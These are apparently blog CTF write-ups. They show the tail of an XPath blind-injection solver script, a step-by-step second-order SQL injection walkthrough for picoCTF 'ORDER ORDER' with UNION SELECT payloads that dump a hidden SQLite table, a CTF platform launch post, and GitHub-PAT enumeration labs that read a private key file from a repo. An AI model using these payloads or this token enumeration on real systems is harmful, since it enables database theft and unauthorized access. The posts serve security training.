for _ in range(votes): yes += one(expr) time.sleep(0.02) return yes >= (votes // 2 + 1) def length_ge(n): return oracle(f"string-length({BODY})>={n}") def get_length(): if not oracle(f"contains(string(/*),{lit(KNOWN)})", votes=3): raise SystemExit("[!] cannot confirm picoCTF{") if not oracle(f"contains({AFTER},{lit('}')})", votes=3): raise SystemExit("[!] cannot confirm closing }") lo, hi = 0, 1 while length_ge(hi): lo, hi = hi, hi * 2 if hi > 256: raise SystemExit("[!] length too large, check target/noise") while hi - lo > 1: mid = (lo + hi) // 2 if length_ge(mid): lo = mid else: hi = mid return lo def char_expr(pos): return f"substring({BODY},{pos},1)" def char_at(pos): pool = CHARS while len(pool) > 1: mid = len(pool) // 2 left = pool[:mid] if oracle(f"contains({lit(left)},{char_expr(pos)})"): pool = left else: pool = pool[mid:] c = pool[0] if oracle(f"{char_expr(pos)}={lit(c)}", votes=3): return c for c in CHARS: if oracle(f"{char_expr(pos)}={lit(c)}", votes=3): return c return None print("[+] probing body length...", flush=True) L = get_length() print(f"[+] body length = {L}", flush=True) result = [None] * (L + 1) with ThreadPoolExecutor(max_workers=WORKERS) as ex: futs = { ex.submit(char_at, pos): pos for pos in range(1, L + 1) } for fut in as_completed(futs): pos = futs[fut] try: result[pos] = fut.result() except Exception as e: print(f"[!] pos {pos} error: {e}", flush=True) print(f"[.] pos {pos:>2}/{L} = {result[pos]!r}", flush=True) missing = [ i for i in range(1, L + 1) if result[i] is None ] if missing: print("[!] retry missing positions sequentially:", missing, flush=True) for pos in missing: result[pos] = char_at(pos) print(f"[.] retry pos {pos:>2}/{L} = {result[pos]!r}", flush=True) body = ''.join(result[i] or '?' for i in range(1, L + 1)) print("[+] flag:", KNOWN + body + "}", flush=True) if "?" in body: print("[!] still has ?. Try WORKERS=6 VOTES=3", flush=True) ``` 執行方式: ```bash BASE='http://wily-courier.picoctf.net:XXXXX' WORKERS=8 VOTES=1 BASE="$BASE" WORKERS="$WORKERS" VOTES="$VOTES" python3 solver.py ``` 跑完就會把 flag 一個位置一個位置拼出來,如果輸出裡還有 `?`,代表某些位置在雜訊下沒問穩定,照提示改成 `WORKERS=6 VOTES=3` 再跑一次。 ## 學習重點 這題最值得帶走的不是 XPath 語法,而是這個思考方式: ```text 你是不是 XPath? 你會不會給我穩定的真假? 我塞的函數你有沒有真的算? 我能不能逐字元問? 我能不能不照順序問、還能平行問? ``` 以後看到只回真假的功能時,可以特別注意: - 登入、搜尋、篩選這種功能,背後是不是用 XML+XPath? - 頁面提示「不用 SQL」、「query language」、「path」、「XML」、「document」時,是不是在暗示查詢語言? - 就算沒有 error 訊息,只要回應有穩定的兩種狀態,就可能是一條盲注通道。 ### picoCTF 2026 ORDER ORDER URL: https://taiwanding.com/picoctf-2026-order-order/ Last updated: 2026-09-19T06:36:20.000Z 這題是 picoCTF 2026 的 Web 題:`ORDER ORDER`。 題目描述很短: > Can you try to get the flag from our website. I've prepared my queries everywhere! I think! 一開始看到 `prepared my queries everywhere`,直覺會想到 SQL injection,可是這題真正值得學的地方不是「看到輸入框就打一個 `' OR 1=1--`」,而是要理解: **有些 SQL injection 不是當下爆,而是被存起來,之後才爆。** 這就是二階 SQL Injection。 ## 題目資訊 - 題目:ORDER ORDER - 分類:Web Exploitation - 難度:Hard - 平台:picoCTF 2026 - 題目連結:[https://learn.cylabacademy.org/library/752](https://learn.cylabacademy.org/library/752?ref=taiwanding.com) 這篇會照實際解題流程寫,重點不是背最終 payload,而是紀錄中間每一步怎麼觀察、怎麼修正、怎麼確認自己的推論。 ## 什麼是二階 SQL Injection 一般的一階 SQL Injection 是: ```text 輸入 payload -> 後端立刻拿去查 SQL -> 當場看到結果或錯誤 ``` 例如登入框直接送: ```sql ' OR 1=1-- ``` 如果後端當下把它拼進 SQL,可能馬上登入成功或跳錯。 二階 SQL Injection 不太一樣: ```text 第一階段:payload 被存進資料庫 第二階段:後面某個功能把這筆資料拿出來,再拼進 SQL 第三階段:漏洞才被觸發 ``` 所以 payload 長得可能跟普通 SQLi 很像,但是測法不同,你不能只看註冊當下有沒有爆,還要找後面哪個功能會再次使用這個資料, 這題的「儲存點」是 `username`。 這題的「觸發點」是 `Generate Report`。 ## Step 1:先做基本偵查 先設定目標: ```bash BASE='http://crystal-peak.picoctf.net:51724' ``` 抓首頁: ```bash curl -sS -i -c cookies.txt "$BASE/" -o 00_home.http sed -n '1,220p' 00_home.http grep -Eoi 'href="[^"]+"|action="[^"]+"|method="[^"]+"|name="[^"]+"' 00_home.http ``` 首頁可以看到: ```html
  • Sign up
  • Login
  • ``` 先註冊一個正常帳號,登入後再看有哪些功能: ```bash USER="u$(date +%s)" EMAIL="$USER@test.local" PASS="Passw0rd!" curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/signup" \ --data-urlencode "username=$USER" \ --data-urlencode "email=$EMAIL" \ --data-urlencode "password=$PASS" \ -o 02_signup_post.http curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/login" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" \ -o 03_login_post.http curl -sS -i -b cookies.txt -c cookies.txt "$BASE/" -o 04_authed_home.http grep -Eoi 'href="[^"]+"|action="[^"]+"|method="[^"]+"|name="[^"]+"' 04_authed_home.http ``` 登入後看到: ```html
  • Dashboard
  • Expenses
  • Inbox
  • Logout
  • ``` 接著看 `/expenses`: ```bash curl -sS -i -b cookies.txt -c cookies.txt "$BASE/expenses" -o expenses.http sed -n '1,260p' expenses.http ``` 可以看到兩個表單: ```html
    ``` 這時候我們知道至少有兩條線可以測: - `description / amount / date` 這些 expense 欄位 - `username`,因為報表一定要知道「目前使用者是誰」 ## Step 2:先產生一次正常報表 按一次 Generate Report: ```bash curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/generate_report" -o 05_report.http sleep 11 curl -sS -i -b cookies.txt -c cookies.txt "$BASE/inbox" -o 06_inbox.http grep -Eoi 'href="[^"]+"' 06_inbox.http ``` Inbox 裡會出現下載點: ```text /download_report/1 ``` 下載 CSV: ```bash curl -sS -L -b cookies.txt "$BASE/download_report/1" -o normal.csv cat normal.csv ``` 結果: ```csv description,amount,date ``` 這個輸出雖然看起來很空,但其實有一個重要資訊: **報表輸出是三欄:`description, amount, date`。** 如果後面要用 `UNION SELECT`,我們也要湊出三欄。 ## Step 3:怎麼知道是 username 出問題 這是本題最關鍵的觀察。 我們不是一開始就知道 `username` 有二階注入,而是從資料流去猜: ```text 報表要查目前登入者的 expense 後端可能用 username 或 user_id 當條件 如果它用 username 拼 SQL,就可能有事 ``` 所以先註冊一個 username 裡只有單引號的帳號: ```bash C=quote_test.txt USER="qt$(date +%s)'" EMAIL="qt$(date +%s)@t.local" PASS="Passw0rd!" curl -sS -c "$C" -X POST "$BASE/signup" \ --data-urlencode "username=$USER" \ --data-urlencode "email=$EMAIL" \ --data-urlencode "password=$PASS" > /dev/null curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" > /dev/null curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null sleep 11 curl -sS -b "$C" "$BASE/inbox" -o quote_inbox.html grep -Ei 'failed|error|unrecognized|syntax|download_report|Expense report' quote_inbox.html ``` 結果出現: ```html Report generation failed. Cause unrecognized token: "'qt1788089522''" ``` 這行幾乎等於後端在跟我們說: ```text 我產生報表時,把你的 username 拿去組 SQL 了 而且你的單引號把 SQL 弄壞了 ``` 如果後端是安全地用 `user_id` 查資料,或是正確使用 prepared statement,這個錯誤就不應該出現,所以這一步不是在拿 flag,而是在確認: **username 是儲存點,Generate Report 是觸發點。** ## Step 4:用 marker 證明我們可以控制輸出 接下來要從「可以讓 SQL 報錯」進到「可以控制 SQL 查詢結果」。 這時候我會放一個 marker, marker 就是我們故意塞進去的標記,例如: ```text VULN ``` 它不是 flag,也不是特殊指令,只是用來確認資料有沒有照我們的意思流出來。 payload: ```sql mk123' UNION SELECT 'VULN',123,'2026-01-01'-- ``` 完整測試: ```bash C=marker.txt USER="mk$(date +%s)' UNION SELECT 'VULN',123,'2026-01-01'--" EMAIL="mk$(date +%s)@t.local" PASS="Passw0rd!" curl -sS -c "$C" -X POST "$BASE/signup" \ --data-urlencode "username=$USER" \ --data-urlencode "email=$EMAIL" \ --data-urlencode "password=$PASS" > /dev/null curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" > /dev/null curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null sleep 11 curl -sS -b "$C" "$BASE/inbox" -o marker_inbox.html DL="$(grep -Eo '/download_report/[0-9]+' marker_inbox.html | tail -1)" curl -sS -L -b "$C" "$BASE$DL" -o marker.csv cat marker.csv ``` 結果: ```csv description,amount,date VULN,123,2026-01-01 ``` 這個結果很重要。 它代表: ```text 我們註冊時放進 username 的 SQL 真的在 Generate Report 時被執行 而且結果被寫進 CSV ``` 如果把後端 SQL 想像成這樣: ```sql SELECT description, amount, date FROM expenses WHERE username = ''; ``` 那 username 塞入 payload 後,就會變成: ```sql SELECT description, amount, date FROM expenses WHERE username = 'mk123' UNION SELECT 'VULN',123,'2026-01-01'--'; ``` 這裡三個符號很關鍵: - `'`:關閉原本的 username 字串 - `UNION SELECT`:把我們自己的查詢結果接到報表結果後面 - `--`:註解掉後端原本補上的尾巴 ## Step 5:從 CSV 欄位反推 UNION 欄位數 前面正常報表已經告訴我們: ```csv description,amount,date ``` 所以原本查詢大概是三欄: ```sql SELECT description, amount, date FROM expenses ... ``` `UNION SELECT` 的規則是:左右兩邊欄位數要一致。 所以我們的 payload 也要三欄: ```sql UNION SELECT 'VULN',123,'2026-01-01' ``` 這就是為什麼 marker 測試不是隨便寫: ```text 第一欄:放文字 VULN,對應 description 第二欄:放數字 123,對應 amount 第三欄:放日期字串,對應 date ``` 如果欄位數不對,通常會看到類似: ```text SELECTs to the left and right of UNION do not have the same number of result columns ``` 但這題剛好 CSV 表頭已經把三欄提示得很清楚。 ## Step 6:確認資料庫類型,枚舉資料表 錯誤訊息中出現 `unrecognized token`,加上 Python/Werkzeug 題目常見組合,這裡很像 SQLite。 SQLite 的 schema 資訊可以從 `sqlite_master` 查: ```bash C=tables_51724.txt USER="tb$(date +%s)' UNION SELECT name,0,'2026-01-01' FROM sqlite_master WHERE type='table'--" EMAIL="tb$(date +%s)@t.local" PASS="Passw0rd!" curl -sS -c "$C" -X POST "$BASE/signup" \ --data-urlencode "username=$USER" \ --data-urlencode "email=$EMAIL" \ --data-urlencode "password=$PASS" > /dev/null curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" > /dev/null curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null sleep 11 curl -sS -b "$C" "$BASE/inbox" -o tables_51724_inbox.html DL="$(grep -Eo '/download_report/[0-9]+' tables_51724_inbox.html | tail -1)" curl -sS -L -b "$C" "$BASE$DL" -o tables_51724.csv cat tables_51724.csv ``` 結果: ```csv description,amount,date aDNyM19uMF9mMTRn,0,2026-01-01 expenses,0,2026-01-01 inbox,0,2026-01-01 reports,0,2026-01-01 sqlite_sequence,0,2026-01-01 users,0,2026-01-01 ``` 這裡可以先做一個判斷: - `expenses`:正常業務表 - `inbox`:正常業務表 - `reports`:正常業務表 - `users`:正常業務表 - `sqlite_sequence`:SQLite 自動遞增用的系統表 - `aDNyM19uMF9mMTRn`:很可疑 CTF 題目裡,這種亂碼表名通常不是裝飾, 不過先不要直接 dump,比較穩的做法是先看 schema。 ## Step 7:查 schema,確認欄位名稱 查所有 table 的 `CREATE TABLE`: ```bash C=schema_51724.txt USER="sc$(date +%s)' UNION SELECT sql,0,'2026-01-01' FROM sqlite_master WHERE type='table'--" EMAIL="sc$(date +%s)@t.local" PASS="Passw0rd!" curl -sS -c "$C" -X POST "$BASE/signup" \ --data-urlencode "username=$USER" \ --data-urlencode "email=$EMAIL" \ --data-urlencode "password=$PASS" > /dev/null curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" > /dev/null curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null sleep 11 curl -sS -b "$C" "$BASE/inbox" -o schema_51724_inbox.html DL="$(grep -Eo '/download_report/[0-9]+' schema_51724_inbox.html | tail -1)" curl -sS -L -b "$C" "$BASE$DL" -o schema_51724.csv cat schema_51724.csv ``` 可疑表的 schema: ```sql CREATE TABLE aDNyM19uMF9mMTRn ( name TEXT PRIMARY KEY, value TEXT NOT NULL ) ``` 現在資訊很完整了: ```text 可疑表:aDNyM19uMF9mMTRn 欄位:name, value 報表輸出欄位數:3 ``` 所以最後只要把 `name` 和 `value` 映射到報表的前兩欄,再補一個日期欄位即可。 ## Step 8:dump 可疑表 payload: ```sql dp123' UNION SELECT name,value,'2026-01-01' FROM aDNyM19uMF9mMTRn-- ``` 完整測試: ```bash C=dump_51724.txt USER="dp$(date +%s)' UNION SELECT name,value,'2026-01-01' FROM aDNyM19uMF9mMTRn--" EMAIL="dp$(date +%s)@t.local" PASS="Passw0rd!" curl -sS -c "$C" -X POST "$BASE/signup" \ --data-urlencode "username=$USER" \ --data-urlencode "email=$EMAIL" \ --data-urlencode "password=$PASS" > /dev/null curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" > /dev/null curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null sleep 11 curl -sS -b "$C" "$BASE/inbox" -o dump_51724_inbox.html DL="$(grep -Eo '/download_report/[0-9]+' dump_51724_inbox.html | tail -1)" curl -sS -L -b "$C" "$BASE$DL" -o dump_51724.csv cat dump_51724.csv ``` 結果: ```csv description,amount,date flag,picoCTF{Redacted},2026-01-01 ``` Flag: ```text picoCTF{Redacted} ``` ## 中間 SQL 是怎麼反推的 這不是憑空猜 payload,而是每一步都在問網站一個小問題: ```text 你有幾欄? 你是不是 SQLite? 你有哪些 table? 你的可疑 table 有哪些欄位? 我要怎麼把那些欄位塞回 CSV? ``` 這也是為什麼 marker 很重要,如果一開始就直接查 flag,雖然可能會成功,但學不到中間的判斷能力,marker 的作用是把「我覺得有洞」變成「我可以證明自己控制到 SQL 查詢結果」。 ## 學習重點 這題我覺得最值得帶走的不是 SQLite 語法,而是這個思考方式: ```text 找儲存點 找觸發點 用單引號確認 SQL 是否被污染 用 marker 確認輸出是否可控 用 schema 枚舉降低猜測 最後才查真正目標 ``` 以後看到這類功能時,可以特別注意: - 註冊 username 後,哪裡會再次顯示或查詢 username? - 商品名稱、訂單名稱、專案名稱、資料夾名稱是否會被後台報表重用? - 匯出 CSV、PDF、Excel 時,是否會重新組 SQL? - 管理後台搜尋、排序、報表、統計功能是否吃到使用者先前輸入的資料? 很多時候,真正有問題的不是輸入框本身,而是幾分鐘後、幾個頁面後、甚至另一個背景 worker 裡的那段查詢,這也是二階 SQL Injection 有趣的地方。 它不是一拳打在門上,而是先把東西放進系統裡,等系統自己拿出來用的時候,才發現那東西其實會改變查詢的意思。 ### 肉's Lab 從今天起,有自己的 CTF 平台肉's CTF了 URL: https://taiwanding.com/rou-s-lab-cong-jin-tian-qi-you-zi-ji-de-ctf-liao/ Last updated: 2026-09-19T04:59:03.000Z 真的,我盯著這行網址看了好幾秒才敢相信: [**https://ctf.taiwanding.com**](https://ctf.taiwanding.com/?ref=taiwanding.com) 肉's Lab 從今天起,有自己的 CTF 了。 一直以來,我在這裡寫 writeup、拆別人的靶機、把踩過的坑記成筆記,而「自己出題、讓別人來打」始終是清單上那個遲遲沒動的願望——不是不會做,是總覺得「之後再說」, 現在,之後到了。 ## 首發四題 平台上線第一批,放了四道題。 之前釋出過的三盒《駭客盲盒》**,我把它們全部收進了平台,散落各處的靶機終於有了一個家,打頭陣的是 #001**《雲海劍宗》——一場從「不該外洩的東西」開始的 web 追查,難度 Easy,很適合當作你在這裡的暖身第一戰。 第四題,是一道**全新的新手入門題**。 這題是特別為了「第一次碰 CTF、完全不知道從哪下手」的人準備的:沒有嚇人的前置知識,跟著線索一步步走,就能拿到你人生的第一面 flag,如果你身邊有想入坑資安、卻遲遲不敢按下開始的朋友,把這題丟給他就對了。 ## 怎麼開始 很簡單:打開 [https://ctf.taiwanding.com](https://ctf.taiwanding.com/?ref=taiwanding.com),挑一題,開打。 抓到 flag 就提交,看著分數跳動的那一下——你大概就會懂,我今天為什麼這麼開心。 這只是第一批,題目會繼續加,江湖才剛開張,先來的人,有先來的痛快。 Happy Hacking\~ ### 肉's Lab Now Has Its Own CTF URL: https://taiwanding.com/en/rou-s-lab-ctf-platform-launch/ Last updated: 2026-08-28T08:37:26.000Z Honestly, I stared at this URL for a good few seconds before I could believe it: [**https://ctf.taiwanding.com**](https://ctf.taiwanding.com/?ref=taiwanding.com) As of today, 肉's Lab has its own CTF. For as long as I've been here, I've written writeups, torn apart other people's boxes, and turned every pitfall I fell into a set of notes — while "build my own challenges and let other people attack them" stayed the one wish on the list I never got around to. Not because I couldn't do it, but because it always felt like a "later" thing. Well, later is here. ## Four Challenges at Launch The platform goes live with a first batch of four challenges. The three "Hacker Blind Box" boxes I released earlier **— I've pulled every one of them onto the platform. Those machines scattered all over the place finally have a home, and leading the charge is #001** "Yunhai Sword Sect" — a web investigation that starts with something that was never supposed to leak. Difficulty: Easy, and a perfect warm-up for your first fight here. The fourth one is a **brand-new beginner challenge**. This one was built specifically for people touching CTF for the very first time and having no idea where to even start: no intimidating prerequisites, just follow the clues step by step and you'll walk away with the first flag of your life. If you know someone who wants to get into security but keeps hesitating over that Start button, this is the challenge to throw at them. ## How to Get Started Dead simple: open [https://ctf.taiwanding.com](https://ctf.taiwanding.com/?ref=taiwanding.com), pick a challenge, and go. Grab a flag, submit it, and watch the score tick up — right about then, you'll probably understand why I'm so happy today. This is only the first batch; more challenges are on the way. The jianghu has just opened its doors, and those who show up early get the best of the fun. Happy Hacking\~ ### GCP CI-CD 01:Scanning GCP CI/CD's Private GitHub Repository writeup (zh-TW) URL: https://taiwanding.com/gcp-ci-cd-01-scanning-gcp-ci-cds-private-github-repository-writeup-zh-tw/ Last updated: 2026-08-10T11:10:00.000Z 📚 系列文章 · CyberWarFare Labs · CI/CD Security 1. [GitHub Enumeration 101 — 用一組 PAT 做完整列舉](https://taiwanding.com/github-enumeration-101-writeup-zh-tw/) 2. ▸ GCP CI/CD 01 — 掃描私有 Repo 找 Cloud Run service (本篇) ## 題目資訊 - 平台: CyberWarFare Labs (CWL) - 分類: CI/CD Security / GCP CI/CD - 難度: Easy (10 points) - 題目給予: 一組 GitHub Personal Access Token - 目標: 找出用來部署此 repo 產出物的 Cloud Run service 名稱 ## 解題過程 題目給一組 GitHub PAT,入口為某私有 repo,要找的不是靜態 secret,而是「部署動作」的目標——Cloud Run service 名稱,它寫在 repo 的 CI/CD 設定檔裡。 ### Step 1: 身分與 repo 列舉 ```bash TOKEN="[REDACTED_PAT]" curl -s -H "Authorization: Bearer $TOKEN" https://api.github.com/user | grep '"login"' curl -s -H "Authorization: Bearer $TOKEN" \ "https://api.github.com/user/repos?per_page=100&visibility=all" | grep -E '"full_name"|"private"' ``` 擁有者 `Secure-Corp-Pro`,可存取私有 repo `Secure-Corp-Pro/GCP-CI-CD-01`。 ### Step 2: clone 後盤點結構 要在整包裡找特定設定,clone 下來本地找最快: ```bash git clone https://$TOKEN@github.com/Secure-Corp-Pro/GCP-CI-CD-01.git cd GCP-CI-CD-01 find . -path ./.git -prune -o -type f -print ``` 結構中無 `.github/workflows/`,但根目錄有 `cloudbuild.yaml`,這本身即情報:管線走 GCP 原生 Cloud Build,而非 GitHub Actions。 ### Step 3: 讀 Cloud Build 設定 ```bash cat cloudbuild.yaml ``` 部署步驟(Deploy container image to Cloud Run): ```yaml - name: 'gcr.io/google.com/cloudsdktool/cloud-sdk' entrypoint: gcloud args: ['run', 'deploy', '', '--image', '$_DOCKER_URI/$_PROJECT_ID/$_ARTIFACT_REGISTRY_URI/$_DOCKER_IMAGE_NAME:latest', '--region', '$_DOCKER_REGION'] ``` `gcloud run deploy` 後緊跟的第一個值即為 Cloud Run service 名稱(`--image`、`--region` 為參數,非名稱)。 Flag (service 名稱): ``` Redacted ``` ## 學習重點 - 「部署」是 CI/CD 的動作,部署目標(雲端 service 名稱、project、region)寫在 repo 的 CI/CD 設定檔,不會躺在資料檔裡——找對檔案比亂翻整個 repo 有效。 - 「沒有 `.github/workflows/` 卻有 `cloudbuild.yaml`」本身就是一條情報:它告訴你這條管線跑在 GCP Cloud Build,CI/CD 設定的「有無」與「種類」都在洩露基礎設施。 - `gcloud run deploy` 後的第一個值是 service 名稱,別跟後面的 `--image` / `--region` 混淆。 - `cloudbuild.yaml` 通常同時洩出 `_PROJECT_ID`、`_ARTIFACT_REGISTRY_URI`、`_DOCKER_REGION` 等欄位——即後續 GCP 關卡的立足情報,讀時順手記下。 - 本關本質是偵察(測繪雲端環境),不是最終攻擊,你在畫地圖,不是破門。 ## 實用技巧 ```bash # 在 repo 裡撈 Cloud Run 部署相關行 grep -rniE "cloud run|run deploy|deploy-cloudrun|service:" \ --include="*.yml" --include="*.yaml" . # Cloud Build substitution 變數以 $_ 開頭,真實值不在此檔 # 常藏在 Cloud Build trigger 設定、其他檔或 commit 歷史 grep -rn '\$_' cloudbuild.yaml ``` ## 補充:這份設定檔洩出的「藍圖」 `cloudbuild.yaml` 定義了完整三段管線:build(docker 打包)→ push(推 Artifact Registry)→ deploy(部署 Cloud Run),image 路徑由 `$_PROJECT_ID`、`$_ARTIFACT_REGISTRY_URI` 等 substitution 變數組成——管線的「形狀」已知,但填進去的「真實值」尚未現身,這正是 GCP-CI-CD-02 要接著挖的東西。 ### GCP CI/CD 01: Scanning GCP CI/CD's Private GitHub Repository — Writeup URL: https://taiwanding.com/en/gcp-ci-cd-01-private-github-repo-cloud-run-writeup/ Last updated: 2026-08-10T11:10:12.000Z 📚 Series · CyberWarFare Labs · CI/CD Security 1. [GitHub Enumeration 101 — full recon from a single PAT](https://taiwanding.com/en/github-enumeration-101-writeup/) 2. ▸ GCP CI/CD 01 — private repo to Cloud Run service name (this post) ## Challenge Info - Platform: CyberWarFare Labs (CWL) - Category: CI/CD Security / GCP CI/CD - Difficulty: Easy (10 points) - Given: a GitHub Personal Access Token - Goal: find the name of the Cloud Run service used to deploy this repo's artifact ## Walkthrough The challenge hands you a GitHub PAT, and the way in is a private repo. What we're after isn't a static secret — it's the target of a deployment action: the Cloud Run service name, which lives in the repo's CI/CD config file. ### Step 1: Identity and repo enumeration ```bash TOKEN="[REDACTED_PAT]" curl -s -H "Authorization: Bearer $TOKEN" https://api.github.com/user | grep '"login"' curl -s -H "Authorization: Bearer $TOKEN" \ "https://api.github.com/user/repos?per_page=100&visibility=all" | grep -E '"full_name"|"private"' ``` The owner is `Secure-Corp-Pro`, and the token can reach the private repo `Secure-Corp-Pro/GCP-CI-CD-01`. ### Step 2: Clone it and take stock of the structure When you need to find one specific setting inside a whole repo, cloning it and searching locally is by far the fastest route: ```bash git clone https://$TOKEN@github.com/Secure-Corp-Pro/GCP-CI-CD-01.git cd GCP-CI-CD-01 find . -path ./.git -prune -o -type f -print ``` There's no `.github/workflows/` anywhere in the tree, but the repo root does have a `cloudbuild.yaml` — and that alone is intel: this pipeline runs on GCP-native Cloud Build, not GitHub Actions. ### Step 3: Read the Cloud Build config ```bash cat cloudbuild.yaml ``` The deploy step (Deploy container image to Cloud Run): ```yaml - name: 'gcr.io/google.com/cloudsdktool/cloud-sdk' entrypoint: gcloud args: ['run', 'deploy', '', '--image', '$_DOCKER_URI/$_PROJECT_ID/$_ARTIFACT_REGISTRY_URI/$_DOCKER_IMAGE_NAME:latest', '--region', '$_DOCKER_REGION'] ``` The first value right after `gcloud run deploy` is the Cloud Run service name (`--image` and `--region` are flags, not the name). Flag (service name): ``` Redacted ``` ## Key Takeaways - "Deploying" is a CI/CD action, and the deployment target (cloud service name, project, region) lives in the repo's CI/CD config file — never in a data file. Going straight to the right file beats rummaging through the whole repo. - "No `.github/workflows/` but there is a `cloudbuild.yaml`" is itself a finding: it tells you the pipeline runs on GCP Cloud Build. Both the presence and the flavour of a CI/CD config leak infrastructure details. - The first value after `gcloud run deploy` is the service name — don't confuse it with the `--image` / `--region` flags that follow. - `cloudbuild.yaml` usually leaks `_PROJECT_ID`, `_ARTIFACT_REGISTRY_URI`, `_DOCKER_REGION` and friends at the same time — exactly the foothold intel you'll need for later GCP levels, so jot them down while you're in there. - This level is fundamentally reconnaissance (mapping the cloud environment), not the final attack. You're drawing the map, not kicking in the door. ## Handy Tricks ```bash # Pull Cloud Run deployment-related lines out of the repo grep -rniE "cloud run|run deploy|deploy-cloudrun|service:" \ --include="*.yml" --include="*.yaml" . # Cloud Build substitution variables start with $_ — the real values aren't in this file # They usually hide in the Cloud Build trigger config, other files, or commit history grep -rn '\$_' cloudbuild.yaml ``` ## Bonus: the "blueprint" this config file leaks `cloudbuild.yaml` defines the full three-stage pipeline: build (docker packaging) → push (to Artifact Registry) → deploy (to Cloud Run), with the image path assembled from substitution variables like `$_PROJECT_ID` and `$_ARTIFACT_REGISTRY_URI`. So the shape of the pipeline is now known, but the actual values plugged into it haven't shown up yet — and that's precisely what GCP-CI-CD-02 goes digging for next. ### GitHub Enumeration 101 writeup (zh-TW) URL: https://taiwanding.com/github-enumeration-101-writeup-zh-tw/ Last updated: 2026-08-10T11:10:00.000Z 📚 系列文章 · CyberWarFare Labs · CI/CD Security 1. ▸ GitHub Enumeration 101 — 用一組 PAT 做完整列舉 (本篇) 2. [GCP CI/CD 01 — 掃描私有 Repo 找 Cloud Run service](https://taiwanding.com/gcp-ci-cd-01-scanning-gcp-ci-cds-private-github-repository-writeup-zh-tw/) # 題目資訊 - 平台: CyberWarFare Labs (CWL) - 分類: CI/CD Security / GitHub CI/CD - 難度: Easy (10 points) - 題目給予: 一組 GitHub Personal Access Token 這個題目並沒有要求要像筆者這樣完整的enumeration,題目要求很簡單就是要第一個commit的sha hash值而已,但是完整走一遍還是會很有收獲的喔! 所以如果要答案,可以直接跳到Step 6即可。 ## 解題過程 題目只給一組 token,目標是靠這把鑰匙做 credential-driven enumeration,摸出它能碰到什麼。 ### Step 1: Token 型號判讀 先看 token 前綴: ``` github_pat_XXXXXXXXXXXXXXXXXXXXXXXX ``` `github_pat_` 開頭為 fine-grained PAT(非 classic 的 `ghp_`),差別在於 fine-grained 綁定特定 repo/權限,且不會在回應 header 明列 scope,權限得靠實測反推。 ### Step 2: 身分與存活確認 ```bash TOKEN="[REDACTED_PAT]" curl -si -H "Authorization: Bearer $TOKEN" https://api.github.com/user ``` 回應重點: ``` HTTP/2 200 x-accepted-github-permissions: allows_permissionless_access=true "login": "secure-corp-devops-operator" "public_repos": 0 ``` token 存活(200),擁有者為 `secure-corp-devops-operator`,公開 repo 為 0(價值全在私有側)。 注意 `allows_permissionless_access=true` 是描述 `/user` 這個 endpoint 本身「不需特定權限即可存取」,並非代表 token 有無限權限。 ### Step 3: 權限邊界列舉 ```bash curl -s -H "Authorization: Bearer $TOKEN" https://api.github.com/user/orgs curl -s -H "Authorization: Bearer $TOKEN" "https://api.github.com/user/repos?per_page=100&visibility=all" ``` `/user/orgs` 回傳空陣列(無 org)。`/user/repos` 回傳一個私有 repo,只看關鍵欄位: ```json "full_name": "secure-corp-devops-operator/GitHub-Enumeration-101", "private": true, "permissions": { "admin": true, "maintain": true, "push": true, "triage": true, "pull": true } ``` `permissions` 區塊由 API 直接給出,這把 token 對該 repo 有 admin 權限。 ### Step 4: repo 檔案盤點 ```bash curl -s -H "Authorization: Bearer $TOKEN" \ https://api.github.com/repos/secure-corp-devops-operator/GitHub-Enumeration-101/contents/ ``` 清單中最可疑者為 `infinity.key`(SSL 私鑰)與 `infinity.crt`(憑證),其次 `Dockerfile`,排序依據:該檔外流後對攻擊者的價值。 ### Step 5: 讀檔與交叉印證 用 `Accept: application/vnd.github.raw` 取原始純文字(省去預設 base64 解碼): ```bash curl -s -H "Authorization: Bearer $TOKEN" -H "Accept: application/vnd.github.raw" \ https://api.github.com/repos/secure-corp-devops-operator/GitHub-Enumeration-101/contents/infinity.key ``` `infinity.key` 為完整可用的 RSA 私鑰(`-----BEGIN RSA PRIVATE KEY-----` … `-----END-----`)。 再讀 `Dockerfile` 交叉印證用途: ```dockerfile RUN apt install apache2 ... COPY infinity.key /etc/ssl/private/ RUN a2enmod ssl ENV PORT 443 ``` 確認 `infinity.key` 即為某台正式 HTTPS 伺服器的 SSL 私鑰。 ### Step 6: 翻 commit 歷史取第一個 commit 題目問: What is the hash of the very first commit made into the repository? 現有檔案只是表面,commit 歷史才是重點——舊版本永遠留存,clone 後用 `--reverse` 讓最舊的排最前: ```bash git clone https://$TOKEN@github.com/secure-corp-devops-operator/GitHub-Enumeration-101.git cd GitHub-Enumeration-101 git log --oneline --reverse ``` ``` f224060 Initial Commit <- 第一個 commit 89e6955 Added webserver config a678f0c Added TLS certificates ... ``` `--oneline` 僅顯示 7 碼縮寫,取完整 40 碼可用 API commit 清單交叉核對(API 預設由新到舊,第一個 commit 在最底): ```bash curl -s -H "Authorization: Bearer $TOKEN" \ "https://api.github.com/repos/secure-corp-devops-operator/GitHub-Enumeration-101/commits?per_page=100" | grep '"sha"' ``` 兩法互驗指向同一 commit。 Flag: ``` f224060XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX ``` ## 學習重點 - credential-driven enumeration 節奏: 先確認身分與存活(`/user`),再由外而內縮小範圍(擁有者 → org → repo → 權限),每一步的答案決定下一步。 - fine-grained PAT 不在 header 自曝 